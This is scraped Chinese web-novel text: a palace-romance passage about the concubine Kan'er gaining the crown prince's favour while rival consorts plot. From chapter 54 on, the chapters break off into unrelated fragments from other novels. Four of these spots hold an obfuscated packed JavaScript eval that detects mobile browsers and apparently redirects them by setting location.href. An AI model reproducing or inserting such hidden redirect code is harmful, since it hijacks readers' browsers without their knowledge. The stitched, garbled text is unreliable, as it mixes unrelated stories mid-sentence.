槛儿抽泣。 有意表现出喜不自胜,可在骆峋听来,她声音里的哽意却不全然是高兴的。 但他不是很能理解。 只当她是因这件事生出了诸多旁的感慨,毕竟,她有她的自尊和不安。 “好了,不哭了。” 骆峋环住槛儿,让她偎在他肩头。 “此事乃孤当初应下你的,不能算作赏,想想还有何想要的,孤另给你。” 槛儿暂时想不到。 料子首饰什么的这人半月前才赏过,如今明确应允了她这件事,短时间内槛儿还真没什么别的欲求。 但他既然说了这回她有功,当赏,若她只说些套话倒显得沽名钓誉。 槛儿忽然有种莫名的心累。 她都难受成这样了,还要分心考虑这些。 忒烦。 槛儿暗戳戳往他肩头蹭了一把眼泪鼻涕。 呃,好埋汰。 她又拿被角擦了擦,反正被子一会儿要换。 “殿下前不久才赏过妾身一回,妾身暂且想不到要什么的别的赏,若不,殿下再应妾身一件事可好?” 说完没忘补充:“殿下放心,不是什么过分的事,一定不会叫您为难。” 骆峋早知她看似胆小,实则遇事头脑清明,考虑周全,除了与他行那事时总会做出些令他意外的行举。 其他时候她都很知分寸。 不过,到底日子尚短,而人都是会变的,今后她可能变成何样还尚未可知。 “说罢。” 骆峋语气淡淡。 “孤若能做到,便应允了你。” 槛儿如释重负般破涕为笑。 “殿下定能做到,妾身想要的赏便是,日后不论遇上何事,妾都望殿下能听妾一言,给妾一个说话的机会。” 骆峋:“只是这?” 槛儿点头。 “妾听的话本里,好多男女主人翁都是因为不听对方的解释而生了误会。 妾不是主人翁,但妾不想同殿下生误会,这宫里宫外的妾身也只有殿下……” “所以今后若有事,殿下且先听妾身一言可好?当然殿下也尽可对妾直言,妾定当知无不言言无不尽。” 当然,槛儿自是没指望他真能跟她说什么,毕竟江山易改本性难移。 叫一个生性冷漠多疑的人忽然变得坦率温柔,那简直是比登天还难。 但槛儿真是过够了一个不敢说一个什么都不说,两两相顾无言的日子了! 如今两人形势大好,她自然要能趁机改变从前的相处模式就尽量改变。 何况她要争他的宠爱,往后就不可避免会遇上麻烦,他若能给她说话的机会,就能替她省很多事儿。 再者她还要替他避开前世的祸事,他能给机会让她说话,不也更便利吗? 骆峋哪知怀中的人短短两息考虑了这么多。 听她说自己宫里宫外只有他,骆峋便当她是怕被他厌弃,担心他往后话都不愿听她讲,想让他给她机会。 一个机会罢了。 骆峋不觉得有何不能应。 再者,她若不触碰他的底线,他便不会厌弃她。 毕竟他只对她有那等感觉。 也只有她的身子,他不觉厌恶。 “可。” 骆峋颔首。 “孤听你说。” 至于对她直言,他没应。 槛儿也不觉得失望,反正意料之中的事。 “谢谢殿下!” 她直起身子,在男人的唇上亲了一口。 俩人还赤着呢。 她一扑上来,哪儿哪儿都严丝合缝。 骆峋下颚绷紧。 终究还是克制住将人就势按下去的冲动,照着她身后圆润弹软的地方轻拍了一下。 “你庄重些。” 咳咳! 槛儿刚被他突然的一巴掌拍懵,就听到后面那句,她差点没喷出来。 庄重? 他们现在这样,他好意思叫她庄重?? 槛儿无言以对。 “妾叫人进来伺候?殿下不是还要走……” 按例,骆峋是要回元淳宫。 但思及她今日为他避开的麻烦,思及方才应下她的事,骆峋伸手撩起帐子。 摇响床头的金铃后,他在海顺他们进来前将槛儿放回榻上塞入被中。 随即套上中裤,翻身下榻。 语调极其寡淡:“孤今夜,在此安置。” 伺候好两位主儿歇下。 海顺轻手轻脚从屋里出来,关上门。 今晚他不值夜。 小喜子伺候他到旁边的耳房歇息,临进门前,海顺回头望了眼缀满星子的天。 笑了。 他们东宫,要出一位真正的宠妾了。 第52章 太子这是要给她撑腰? 寅时过半。 金承徽打从听说太子今晚没在嘉荣堂,而是去了永煦院的消息后,她便像跟槛儿隔空叫上了劲儿似的。 不顾紫苏和白菘的劝,抄宫规抄到现在,就为了等太子从西六院出来。 哪曾想再过一个时辰天都要亮了,底下的人却来报太子还没离开西六院! 金承徽“啪”地把笔往书案上一拍,飞快绕过书案瞪着那报信的小宫女。 “消息可是真的?!” 小宫女缩缩脖子:“回主子,是真的,您吩咐奴婢盯着西六院大门,奴婢就一直盯着,没见殿下出来。” 金承徽胸口剧烈起伏,下一刻猛地转身将书案上的东西掀了个底朝天! “狐狸精!狐狸精!” 如果说先前她只是不甘槛儿占了太子的宠,打心底里厌恶槛儿的出身。 那么经过了家宴那晚被加了三个月的禁足期后,她现在对槛儿就只有恨! 夜深人静的。 金承徽这一顿噼里啪啦的听着格外刺耳。 紫苏匆匆打发了小宫女。 与白菘一左一右,又是哄又是劝。 但金承徽在气头上根本听不进去,被劝得不耐烦了她反手就是一耳光,娇俏灵动的娃娃脸上一片阴郁。 “息怒?我怎么息怒?!” 她进宫是要当太子宠妾的,是要当娘娘,要奔着裴皇后的位置去的! 不是来被禁足学规矩的! 太子为了一个奴才出身的贱婢惩治她也就罢,居然还把人带去了宫宴,她比姓宋的位份高都没参加过宫宴! 如今,更是为那狐狸精破了从不在妾室屋里留宿的例,究竟是凭什么! 她一个好人家出身的。 哪里比不上一个奴才! “起初你们说她是嘉荣堂出来的,殿下是为了给那位体面才去她屋里。 现在呢?殿下连该在嘉荣堂的日子都去了那边,这也是给那位体面?! 要我在这里忍气吞声什么也不做,人家那边不知都使了多少手段了!” 紫苏与白菘见她越发说得不像话,吓得双双跪地,白着脸使劲磕头。 金承徽嫌她们没用。 但她也不敢再往狠了骂,怕再被罚。 可越是这样,她心里越咽不下这口气,偏她又想不到自己该怎么办。 于是她更气了! 整个香叶轩都是摔摔打打的声音。 秦昭训住在香叶轩的东厢,金承徽这边的动静,东厢那边自然惊动了。 “主子,要不奴婢过去说一声?” 卧房里,在榻前值夜的丹碧听到帐中有翻身的响动,坐起来试探着问。 等了会儿。 床上的人没应声。 丹碧犹豫片刻,重新躺下。 帐子里,秦昭训朝里侧,借微弱的烛光看着床帐上的青竹叶绣纹。 良久,她扯出一抹不显的笑。 色衰则爱驰,爱驰则恩绝。 这世上没有哪个女子,能仅凭美貌就抓住男人的心,那东西男人也没有。 所谓的宠爱,不过是过眼云烟。 财富、地位、权势。 才是人的毕生追求。 一个胸无点墨的宫婢罢了。 摇摇头,秦昭训阖上了眼。 曹良媛知道太子今晚在嘉荣堂过夜,所以她没让人留意外边的动静,回去泡了个澡就叫人伺候睡下了。 还是次日一早起来。 察觉到弄墨和抚琴的脸色不对。 她问过后才知道,从来没在她们这些妾室屋里过过夜的太子,昨晚竟从嘉荣堂出来,去了永煦院过夜! 曹良媛看着宫人端来的漱口水。 半晌,什么也没说。 . 除了五岁前同母后在一张榻上睡过觉,骆峋长这么大还从没和别的女子同榻而眠,甚至相拥抵足过。 原以为会失眠,哪知竟是一夜好眠。 被海顺隔着屏风叫醒时。 素来勤勉自律,睁眼便能利落起身的太子殿下竟头一回生出了几分倦懒。 习惯性动了动,胳膊被人压着,怀中一片娇软,鼻间萦绕着清幽的香。 骆峋缓缓睁眼,眸光微垂。 便见怀里人背靠着他胸膛,臀抵着他的腰腹,玉颈枕着他的左臂,两只绵绵的手还依赖般抓着他的手掌。 床头的烛光照进来,晕黄朦胧间,依稀可见她脸上醉酒般的酡红和慵懒。 像一朵娇艳盛放的牡丹。 又像他幼年时养过的一只长毛金丝虎,吃饱喝足了就喜懒在他怀里。 这般亲密的姿态,骆峋不甚习惯。 朝外面低应了声。 他低头在槛儿的颈间蹭了蹭,搭在她腰上的手滑至她的胯骨轻拍两下。 “起了。” 声音近在咫尺又沉又哑,槛儿后知后觉醒来,轻哼两声翻身环住他的腰。 若说上辈子两人在一起什么时候最没有隔阂,那必然只有在榻上的时候。 榻上的太子和庆昭帝身体是炙热的,榻上的槛儿是迷糊热烈的,像这样的姿态上辈子他们经历了无数回。 槛儿无意识就做了,一条腿搭到男人腰上,使劲往他半露的胸膛上埋。 鼻间还一直哼唧。 太子爷本就松垮的中衣被她蹭得又敞了大半,精壮的胸肌一览无余。 骆峋:“……” 骆峋默念两句经。 把那条腿从腰间撕开,无情起身。 槛儿总算醒了,撑起身子也下了榻。 骆峋自打患了病,身边便只有太监伺候,宫女都在院子里和后面当值。 乍一被槛儿服侍更衣。 骆峋的第一反应仍旧是不习惯,但忆起两人夜里都那般亲密了,且经过昨夜,似乎有哪里不一样了。 说不出的感觉。 因为这种感觉,太子殿下很快适应了清晨由宋昭训在近前侍候梳洗。 不过,海顺他们在场,太子爷并没有将过多的视线投注到宋昭训身上。 一如既往的清冷威严。 只临走前他想起一事,看向槛儿。 “今日若有人刁难于你,让其尽管来问孤,对方想知道什么孤来告知。” 她有能力周旋于后院。 但他既决定护她,打算由她孕育他们的子嗣,便当给她在后院立足的底气。 这些想法骆峋不准备告诉她,说罢也没等槛儿应声,领着人走了。 槛儿看着他的背影,反应过来。 昨晚那样的日子他来了她这儿,郑氏与曹良媛她们必定少不了一番计较。 所以,他这是要给她撑腰? . 太子留宿永煦院在后院掀起的波澜,远比他连番临幸槛儿还要来得大。 让槛儿感受最明显的就是去嘉荣堂请安的一路上,宫人们的态度变了。 之前她每次经过这条路,这些人对她看似礼数周到,实则眼神里还是会时不时流露出几分鄙夷和不屑。 像是笃定了她的作用就是贡献肚皮,太子去她屋里也纯粹是为了子嗣。 一个工具,不配得到他们真心的敬重。 然而今日。 槛儿不但没在明面上看到这些人对她的轻蔑不齿,反倒从他们眼里和行举中看出了几分忐忑和畏惧。 怕什么呢? 怕她这个奴才出身的,一朝得宠便要狗仗人势把曾经对她不敬的都清算了? 槛儿笑着摇摇头,进了嘉荣堂。 秦昭训向来来得早,今日也不例外,槛儿到时对方已经坐在位置上了。 倒是曹良媛。 平日里请安总是拖拉到最后一个来,今日这时候却已经换了一盏茶了。 但到底相处了这么些日子。 槛儿又不是头回侍寝,曹良媛自然没再像早先那样,又是道喜又是套话的。 直到郑明芷出来,她们向其请过安。 曹良媛忽然开口: “太子妃大度,好好的侍寝日子说让就让,宋妹妹还不谢谢太子妃?” 第53章 不能让宋槛儿继续得宠! 此言一出,屋中静得诡异。 郑明芷和槛儿还没有所反应,霜云、霜月、庞嬷嬷以及一旁站着的几个宫人便先暗瞪了曹良媛好几眼。 看槛儿的眼神更是怨怼。 曹良媛只当没看见,仍旧笑眯眯的。 槛儿看看她,垂眸不语。 曹良媛便又笑了。 “妹妹这就不对了,太子妃将侍寝的日子让给你,你怎生连句谢都没有?” 她这就是要让槛儿下不来台。 槛儿若谢了。 那便是往郑明芷心口捅刀子,若不谢,那就是没把郑明芷放在眼里。 总归谢与不谢,槛儿都讨不了好。 郑明芷憋了一晚上的火。 偏偏碍于之前和太子的那场争执,她一时半会儿根本不能拿槛儿怎么样。 可不能归不能。 这口气她终归还是咽不下去。 也因此,哪怕曹良媛把她也算计进去了,郑明芷也没有对曹良媛发作。 她倒要看这贱婢要如何应对,她如果自己撞上来,那也就怨不得她了! 槛儿没往郑明芷那边看。 但听对方没有在曹良媛之后马上出声,她就知道郑氏在打什么主意了。 暗嗤了声,槛儿窘迫般道:“我、我不知道,殿下昨晚来的时候我睡着了……” 谢是不能谢的。 但不谢又不能直言,那就说实话! 横竖太子去谁屋里又不是谁让谁不让就能决定的,而是太子自己的意愿。 曹良媛想刁难槛儿,挑拨她和郑明芷,没曾想竟听了一耳朵这样的回答。 她脸上的笑顿时没绷住。 什么叫殿下到的时候她睡着了?? 难不成姓宋的都睡了,太子还叫她起来侍了寝,然后在永煦院待了一晚?! 曹良媛嘴角抽抽:“妹妹当真得殿下喜欢得紧呢,睡了还能被叫起来侍寝。” 槛儿尴尬般扯扯唇角,没接话。 郑明芷好戏没看到,反倒又窝了一肚的火,座椅扶手好险没被她给掰断。 也不耐烦再听下去。 她厉声对曹良媛道:“行了,越发没规矩了,殿下的喜好岂是能编排的?再有下次你也不用来请安了!” 意思是跟金承徽一样,禁足学规矩。 曹良媛差点被口水呛到。 郑明芷却是没管她,看向槛儿。 “殿下愿意去你屋里,你便当得好生伺候,不可怠慢,往后万不可再出现殿下驾临你却已安置的情况。 殿下千金之躯,白日里累于正事,夜间免不得需得你们伺候松乏筋骨。 你们自当安分伺候,切不可使那起子不入流的手段勾得殿下坏了身子。 若是让我知晓你们中间有谁,将那等腌臜的手段用到了殿下身上……” 砰! 她把茶盏笃到案几上,扫视槛儿三人的目光凌厉慑人,意思不言而喻。 听着是说给曹良媛她们三个人的,然而实则最近侍寝的人只有槛儿。 摆明了是在暗指太子之所以次次对槛儿破例,其实是槛儿勾引的结果。 这罪名可太重了。 上辈子槛儿也被郑明芷这么当众告诫过,当时她吓得面色惨白,魂不守舍。 生怕被定上“失德”、“祸乱宫闱”的罪名,为此不惜把送上门的宠往外推。 所幸太子没有降罪于她,隔日还是来了,郑氏之后也没再说过这样的话。 此时再听郑氏这番话,槛儿权当没明白她的话外音,面不改色地应了。 郑明芷看着她这样就来气。 索性眼不见为净,摆摆手让她们散了。 . “主子,难道咱们就这样什么也不做吗?” 进了沁芳居院门。 抚琴再也忍不住,气急败坏地跺脚道。 曹良媛瞥她一眼。 慢条斯理问:“你又听说了什么?” 提起这个抚琴就是气! 就因为那姓宋的屡屡侍寝,又三番两次让太子破例,底下那群奴才明面上不敢谈论,私下里暗话却不少。 说什么的都有。 总归意思是她们家主子比不得那姓宋的,再这样下去怕是得退居一隅了! 简直岂有此理! “一群端起碗吃肉放下碗骂娘的东西!当初收咱们好处的时候可没少巴结奉承。 如今我们主子还没咋呢,就做起这落井下石的勾当来了,也不怕烂了舌头!” 弄墨:“哪儿的人都这样,你管天管地还能管得了他们拉屎放屁?” “我为我们主子不平!这才哪到哪就踩起我们主子来了,也不怕崴了脚!” 进了屋。 卸下满头珠翠,换了身轻薄舒适的裙衫,曹良媛问抚琴:“半个多月前让你安排人查的事查得如何了?” “回禀的人说她在嘉荣堂当差没有同她交好的人,好像是庞嬷嬷不喜她,所以后院的人全都孤立她了。” “倒是个可怜的。” 抚琴:“可怜什么啊!真可怜就到不了殿下跟前,瞧她那副狐媚子做派!” 曹良媛哂笑。 刀没扎到自己身上,不知痛。 生得那般容貌,还是个无依无靠的,想也知道进宫前后的日子好过不到哪去。 再是坚韧又如何。 左不过一个十五六岁的小姑娘。 做了低等奴才,早没了为人的尊严,年纪轻轻还要替别人生孩子。 换做她。 日子过成这样,她宁愿一头撞死。 “主子。” 抚琴半蹲在榻前,声音压得极低。 “照殿下往她那儿去的次数,怕是要不了多久就该有好消息了,咱们……” 曹良媛目光一冷。 “你要想你主子过了今日还有明日,最好就把你的那些念头给我打消了!” 郑氏既然能让姓宋的替她生孩子,就说明这事不仅是太子同意了的,还在元隆帝和裴皇后那儿过了明路。 东宫的第一个子嗣,太子怎么可能不重视,裴皇后又怎么可能不重视? 她得是有多大的本事。 才能神不知鬼不觉地暗害了姓宋的肚皮,且事后一定不被查出来?? 抚琴被训了也没觉得委屈。 一心替自家主子谋划:“那咱们总不能就这么眼睁睁看着她得宠吧?” 她是真心替自家主子不平。 他们家老爷可是刑部侍郎,三品大员。 日后是要进内阁的。 这可比太子妃那个有名无实的娘家顺国公府,不知好到哪儿去了。 太子想坐稳储君的位置。 就该把她们家主子往死里宠!再生四五个孩子把曹家笼络得死死的! 结果?? 过去半年太子明面上是挺宠她家主子,该主子侍寝的日子基本都会来沁芳居。 可问题是,她们家主子没侍寝啊! 母凭子贵。 什么宠爱,男人。 都是虚的! 这宫里要想往上爬,子嗣才是最实在的! 然而太子不幸她们家主子。 孩子难不成要从石头缝里蹦出来?? “嘉荣堂后院里,有十六七岁的小太监吧?”曹良媛靠在榻上,轻声问。 抚琴愣了愣。 “有,不过都是些粗使打杂的。” 曹良媛涂着蔻丹的指尖在扶手上轻轻敲击,过了会儿,她轻声低喃。 “再是没了根,骨子里也是男人。” “不着急,等她怀了……” 孩子得要宋槛儿生。 但宠,不能让她继续得。 若不然照这样的势头,哪还有她的份。 第一卷 第54章 又赏赏赏!太子爷的别扭(?) 槛儿上辈子能在庆昭帝的后宫里活到最后,关键就在于她沉得住气。 深知以不变应万变的道理。 重活到这个节骨眼儿。 要人脉没人脉,要根基没根基。 薛崇训笑道:“母亲言重了。”他心说我刚不久还和岳母乱来被您知道,您倒是护短只怪孙氏不怪我,其实这事儿一开始就是我处心积虑诱她下水的。 陈扬在心里苦笑一声,随手从身旁经过的一个服务生的托盘上取下一杯红酒,径直走到了靠近中央主席台附近的地方站定住了。 “那你这种心态,我很欣赏。不过,你这么说,是不是,不打算在族中住下,准备再度的外出碰机缘了!”副殿主昊应再度开口,问道。 被巨力重重砸向地面的同时眼神也不忘趁着这短短的时间凌空扫视两眼。 眼看老族长的无边法力,展现出让人惊世骇俗的造化,两人均是瞠目结舌,很显然,这种化腐朽为神奇、点石成金的手段,已然超越了他们的想象。 他没打算亲自细查帐目,抬头看了一眼杨思勖,见杨思勖神色如常,已相信其中的水分不会太大。 一行人出门乘车离开东市,今日正当休假张说不用再去大明宫南衙上值,到了一个岔路口,张说便下车换马与薛崇训告辞。而薛崇训的松木马车继续北行回宫。 整个城前镇共有几十个村子。最为贫穷的就是石山沟这个三面环江的村子了,如果能摆脱掉“最为贫穷的村子。这几个字,那么不说别的。石山沟的人走出去也能抬起头不被别人瞧不起。 吃得满嘴流油的二筒,没等嘴里的食物嚼干净,便忙不迭地举着酒杯向赵炎敬酒。 李宓一时间产生了身处晋王府的错觉,因为薛崇训问话还是这么干脆。同时越简单的问题越难以回答,他甚至更愿意听到薛崇训问他冗长的细节,而不是这么一句话。 侍卫们也分开去追,可是他们哪里跑得过那些精挑细选出来的骏马。 一想到这儿,我就觉得十分的没面子,他大爷的,想不到那个破鬼屋这么吓人,一惊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751325|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 一乍的,确实把我吓的够呛,这真是说出去都让人笑话,我这个成天跟真鬼打交道的人,竟然让一帮假鬼给吓的鬼哭狼嚎的。 她一拍灵兽袋,将里面的吸灵虫全部放出来,就见那些吸灵虫停立在空中,贪婪地吸收着周围磅礴的火系灵气。 最后只能狠狠鄙视了自己一把。为了转移注意力,她下床。披上了外衣。 由于我们现在离得太近了,而且刚才这俩傻鬼差根本对我一点防范之心没有,完全把我当成了一个闯错了地方的无主孤魂,可是当铜钱剑抽出剑鞘的那一刹那,它俩也惊呆了,可是,却也晚了。 发现这一点,陌天歌惊喜不已。她原本只是猜测这靴子可以增加飞行速度,却不料竟然本身就是件飞行法宝!如此一来,以后她便可以不用白丝帕来飞行了。 按理说,平时打赏,银裸子也够了。可是论长辈给晚辈的见面礼。尤其还是一个郡王妃给晚辈的见面礼就显得太轻了,何况开始李氏还特意说了郡王妃大方的,现在听来到像是说反话一般。 第一卷 第55章 太子对槛儿的怀疑,“厌胜魇镇之术?” 宣王乃已故程嫔所出。 程嫔出身小户平民之家,是元隆帝还在潜邸时南下办差时带回来的。 程嫔的美貌自不必提。 但她生性迂腐,动辄怨天尤人,加上没什么见识,和元隆帝话不投机。 于是,过了最初的一段时日。 吃了晚饭后,石中玉和石磊早早的去休息了。今天进山去转悠一趟,把他们两人累的够呛。凌渡宇带着清影,后面跟着胡媚儿和青蝶来到了村委会前。看着老屠把三个野猪给分解了,村中每家每户都过来人领了一份。 而后,借着那一弹的力量,黑色的剑身犹如一道游龙,就那么毫无章法的随意刺了出去,刺向了那片浪潮般的剑幕。 叶正风愕然的看了流影幻一眼,流影幻的话还真的把他镇住了,并不是在这种时候流影幻发春让他震惊了,而是流影幻的性格应该是那种喜欢逍遥自在的人,而沙可岚却是那种充满野心和猛进的人,两人的性格根本就不合。 阿卡狄亚各城邦曾经都是斯巴达的盟邦,不过最近发生了变化,他们成立了一个阿卡狄亚联盟,想从伯罗奔尼撒同盟中独立出来,因此遭到了斯巴达的威胁,如果不是我们的到来,他们与斯巴达恐怕已经发生了战争。 玛哥回到大帐之后,一直未能入睡,他对这一次的失败耿耿于怀,实力远逊的戴奥尼亚人战斗意志的顽强和战术的多变让他心惊,也让他意识到庞大的兵力麻痹了他自己,让他对战局的反应变得迟钝。 姜哲元这次是栽倒家了,他的钱被李晓燕全部投入了什么期货中了。不过一下子就给赔了一个底朝天,现在只剩下十万元钱不到了。也不知道是怎么搞的。 正因为如此,哪怕是觉醒了天级五品血脉的人族,都不一定是它们的对手。 所有人都在震撼的看着宫殿的时候,叶正风的脸色却沉凝至极,身形朝着高空疾速飞去。 他根本没在紫凰面前展现过精神力,而紫凰却知道他的精神力强,所以这是唯一的解释。 两人慢悠悠的走着,过了几分钟后,他们到了一个凉亭处坐下来。 另外昨晚他送黄雪琪回家时,那辆保时捷已经被黄雪琪的父亲看见了。35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751326|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 天鹅闭上眼睛,嘴上无声,内心却将高子玉的名字,喊了好多遍。如果有灵魂,如果有在天之灵,他一定会救她的。 陆慜擦了一把汗,锦水先生在旁边愈发感到怪异了,在他看来,孟戚只是谈到了风水,然后墨鲤就问谣言是不是楚元帝放出的,孟戚说了一句不知道。 那人还没有反应过来就被打了一巴掌,顿时双手捂住火辣辣的脸庞,眼中的怒意,寒意越发浓郁,心中有着一口怨气。 陈元继续引导着对话,一边偷偷的摸出手机,拨通了保安部张哥的电话。 天鹅没有再看他第二眼,也没有答话,回过头来继续走自己的路。她以前看谁都是蛤蟆,现在感觉看到了真正的蛤蟆,却说不出口了。 行脚商人恍然大悟,同时明白了为什么船工特别好说话,把老妪也捎上了。 “很好,问他种植基地的具体方位在那里。”雷满意的对黑水向导说道。 疼痛的心,一丝一丝地缓缓清醒,已经有了些许的知觉,身子也好像有了些温度,然后就感觉到了背心传过来的清冷。 第一卷 第56章 太子身患痔疾?! 盼着能早日自己看书。 槛儿今儿一整天可谓做足了聪颖勤奋的派头,招了跳珠他们好一通夸。 当然,她也有分寸。 为避免太子起疑,倒也没有装过头。 晚膳在外间摆好,望晴进来请槛儿用膳。 可不管是哪一种,都要看手段是否合理,时机是否合适,能彻底拆除当然是早点拆掉更佳,然而这种拆除,势必又是不可能彻底的。 “哇呜……”柠宝懵里懵懂的睁着一双澄澈的大眼睛,看着纪檬,像水葡萄的眼珠子转了转,不明白娘亲什么意思,她像颗开心果一样咯咯笑个不停,声音是极为纯净美好的,清脆悦耳。 鹰族长邪魅的脸上露出凶狠,他低头看了一眼碰在自己身上而折断的毒箭,讽刺一笑。 这么露骨的话从雨里传了过来,孟安雅扑哧一声不厚道的笑了出来。 分别是三套头面,这是原本冯绮雯打听好邢家的人,让白芍去买了的。 程泊志最了解苏妍,知道她这是信任自己的一种表现,心里有点受用。因为他也知道她不是总这样,如果他不在场的情况下,苏妍的警惕性会提到最高,正因为她天生方位感不强,所以会更加注意使用仪器辅助。 “你若是喜欢,我带你吃遍天下美食,看遍千山万水。”林飞语语重心长的道。 林飞语心头震撼,眼神骇然的盯着巨树。难怪自称为自然之神,肉体毁灭,神识竟然可以遗留千年之久? “我就不信了!”雷重怒喝一声,眼中精芒闪烁。双拳紧握,周身上下,瞬间青筋突兀,一条条青筋宛如细蛇,将雷重的身体覆盖,甚至他的体表上,一层淡淡的黄光流转。 不过,就她那点力气,给阿里奥斯亲王挠痒痒都不够,他纹丝不动。 李哥说:陶雄与曹翻天对峙十几年,表面上看起来好像很和睦,但相信私底下谁都想置对方于死地,我们突然的到来,打乱了这里原本的协调,所以陶雄想借我们的手一口气解决曹翻天。 罗森瞥了一眼玉牌上的两个光点,眉头微皱。即便那灵源之种如何稀有,如果提前知道这试炼任务会出现队友,他定不会参加。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751327|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下一刻,八百个全身漆黑,只剩一双眼睛在外的奇异强者冲到半空,目光齐齐锁定了许辰。 见到凌云这迅猛的一剑,蓝衣人面色凝重,劈出的右掌忽尔化掌为爪,竟然是在凌云长剑即将刺入他胸膛的前一刻,硬生生的凭借指力将剑刃牢牢掐住,使之不得寸进。 “你们三人都起来,我问你们,这次行动如此的周密又怎么会让凶牙国抢占了先机?”君墨轩接过福德全递过来的热茶,押了口茶,鹰一般的眸子不停的在三人的脸上扫来扫去,最终停在了莫云凡的脸上。 “你不能吃,之心要吃,娘子不给她吃,给之心吃!”有人比她叫得更为大声,跳得更加高涨。 看着躺在塌上一动不动的白恒之,原本俊逸的容颜此时苍白虚弱,心湖心里止不住一阵阵的酸楚往外冒。 白恒之的身体,‘插’着那支匕首,如断了线的提现木偶,重重栽了下去,从他身下淌了一地的鲜血。 娇声呼唤此起彼伏,花枝香囊更是抛掷不绝,众向所归之处,皆是城首大人的怀内手中。 第一卷 第57章 太子:孤可不贪色。 槛儿接过匣子,表现出几分吃惊。 骆峋无意谈及宣王府的事。 “小丫头在席间不是让你为难了?知道错了,托宣王让孤转交于你。” 槛儿上辈子不认识宣王妃,自然也不认识瑜姐儿,这会儿听太子提起,她下意识想起那个白嫩胖乎的小丫头。 打开匣子。 陈真在岔道前停住脚步。往左,还是往右?鱼与熊掌还真是难以抉择。就在这时,战马嘶鸣声临近,后方通道阴气大作,直扑而来。这些阴气不同于岛上的阴气。若将岛上的阴气比作杀手,那么直扑而来的阴气则是军士。 洞府建在半山腰,周围到处都是绿幽幽的一片,远处,一片不算太大的竹林亭立在那,倒是显得几分仙家之气。 有时候,不是不知道害怕,而是人多壮胆,所以,才会引来无数人无惧妖兽的数量,送死般的攻杀。 眼前这个处于雷之国度云忍村,大多数忍者都是崇尚雷遁的带来的锻体,速度的。 “欢迎归来!”虽然浩克很失望,但还是笑着说道,不管怎么说来的是自己人,对付这苗力肯定不是什么问题。 因为他发现自己中计了,因为自己的回答就是变相性质般的承认了是自己击杀了病毒兽材料的原主人们。 这可以算的上是一株无上神草了,只要服下,就能突破当前的境界,进入下一境界。 边彼岸想说什么,可是在如此吵闹的环境下,他的话根本就无法让于柒柒听到。 不过,出乎边彼岸意料的是,李毅锋似乎想根本就没听到笑无幻她们几人的名字,还是如同和自己亲人说话的语气,跟大家闲聊着。 “轰!”一声轰鸣在这个时候从他身体中爆发出来,随着不断的爆发,他丹田中的金丹在这一刻赫然爆开。金丹爆开,被无边的紫气蔓延,紧接着只见一个与他相同的婴儿出现在他丹田之中。 虽说杨业的武力有些弱了,但是有时候兵器的用处并不仅仅是增长使用者的武力而已,只要自己在杨业刚刚向自己投降的时候便是赏赐了杨业金血耀世刀,天下人便是能够知道自己对杨业的重视。 公孙续这话说完,那周围将那被俘虏鲜卑士兵控制住的公孙军士兵都是 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15751328|174319||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 举起了自己手中的兵刃,只待公孙续一声令下将将这些被俘虏的鲜卑士兵全部斩杀。 而季开则没有,他随手丢掉那个玩偶,也没去看里面到底有什么东西。反而闭上了眼睛,放出神识,全力查探这栋房子所有角落。 吴明装傻的抬头疑问,李二也不揭穿,笑着踢了他一脚,继续前行。 本来看到罗德之前轻轻松松掌握了自己制造的火龙,奥嘉尔还以为他是一个来自外面的强大元素法师,但现在看来,事情似乎和自己的估计有所偏差。 “朱雀,你为什么这么悲观,兴许是阿飞杀了他们呢?”修罗淡淡一笑,仿佛他弟子生死与自己无关。 察觉到了这一点之后,罗德果断将接下来的部分交给了鲁卡兹,并美其名曰“锻炼”。 在斯维因看来,祖安人这是想要以蛇吞象的方式统一祖安——毕竟理论上说,祖安也是恕瑞玛的一部分。 季开先是给巴伦打了电话,让他一定要在近期内收服整个底特律,如果做不到的话,那也要毁了它。把事情搞大,然后迅速走人,可别被美国政府抓住。 第一卷 第58章 顺国公夫人,太子来了! “那位也真是,国公夫人来就来,干咱们主子何事,还要人专门跑一趟!” 